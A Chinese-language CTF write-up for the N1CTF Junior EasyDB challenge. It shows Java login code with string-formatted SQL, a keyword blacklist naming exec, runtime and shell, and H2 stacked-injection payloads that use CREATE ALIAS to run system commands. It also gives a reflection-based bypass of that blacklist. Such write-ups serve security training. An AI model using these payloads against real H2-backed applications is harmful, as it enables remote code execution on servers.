CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB
代码存在sql注入
// 处理登录表单的POST请求@PostMapping({"/login"})public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.validateUser(username, password)) {session.setAttribute("username", username); // 将用户名存储在会话中return "redirect:/"; // 验证成功,重定向到首页} else {model.addAttribute("error", "Invalid username or password"); // 添加错误消息到模型return "login"; // 返回登录视图}}
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {// 使用格式化字符串构建SQL查询语句String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);// 检查生成的查询是否安全,防止SQL注入if (!SecurityUtils.check(query)) {return false; // 如果查询不安全,返回false} else {Throwable var8; // 声明一个Throwable变量,用于异常处理// 使用try-with-resources语句自动管理Statement资源try (Statement stmt = this.connection.createStatement()) {// 执行SQL查询stmt.executeQuery(query);// 获取结果集ResultSet resultSet = stmt.getResultSet();Throwable var7 = null; // 声明一个Throwable变量,用于捕获异常try {// 检查结果集是否有下一条记录(即用户是否存在)var8 = resultSet.next();} catch (Throwable var31) {var8 = var31; // 捕获异常var7 = var31; // 将异常赋值给var7以便后续处理throw var31; // 重新抛出异常} finally {// 确保结果集在使用完后被关闭if (resultSet != null) {if (var7 != null) { // 如果有异常,处理异常try {resultSet.close(); // 关闭结果集} catch (Throwable var30) {var7.addSuppressed(var30); // 将异常添加到已捕获的异常中}} else {resultSet.close(); // 正常关闭结果集}}}} }
}
SELECT * FROM users WHERE username = '%s' AND password = '%s'
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {// 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击private static final HashSet<String> blackLists = new HashSet<>();// 默认构造函数public SecurityUtils() {}// 检查给定的SQL语句是否包含黑名单中的关键字public static boolean check(String sql) {// 遍历黑名单中的每一个关键字for (String keyword : blackLists) {// 将SQL语句转换为小写并检查是否包含黑名单关键字if (sql.toLowerCase().contains(keyword)) {return false; // 如果发现关键字,返回false,表示SQL不安全}}// 如果没有发现黑名单关键字,返回true,表示SQL是安全的return true;}
}
static { blackLists.add("runtime"); blackLists.add("process"); blackLists.add("exec"); blackLists.add("shell"); blackLists.add("file"); blackLists.add("script"); blackLists.add("groovy");
}
使用堆叠注入rec,其标准利用形式如下
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";
}';
CALL EXEC('command');
按如下方式绕过waf
1.将被过滤的字符串拆分
2.Class<?>
声明通用类型的 Class
对象,使用Class.forName
动态加载类赋值
3.因为过滤了runtime
,使用getMethod
将Runtime.getRuntime
方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {String R = "R" + "untime";Class<?> c = Class.forName("java.lang." + R);Object rt = c.getMethod("get" + R).invoke(null);//实例化c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
$$...$$
是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。invoke
方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。
参考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh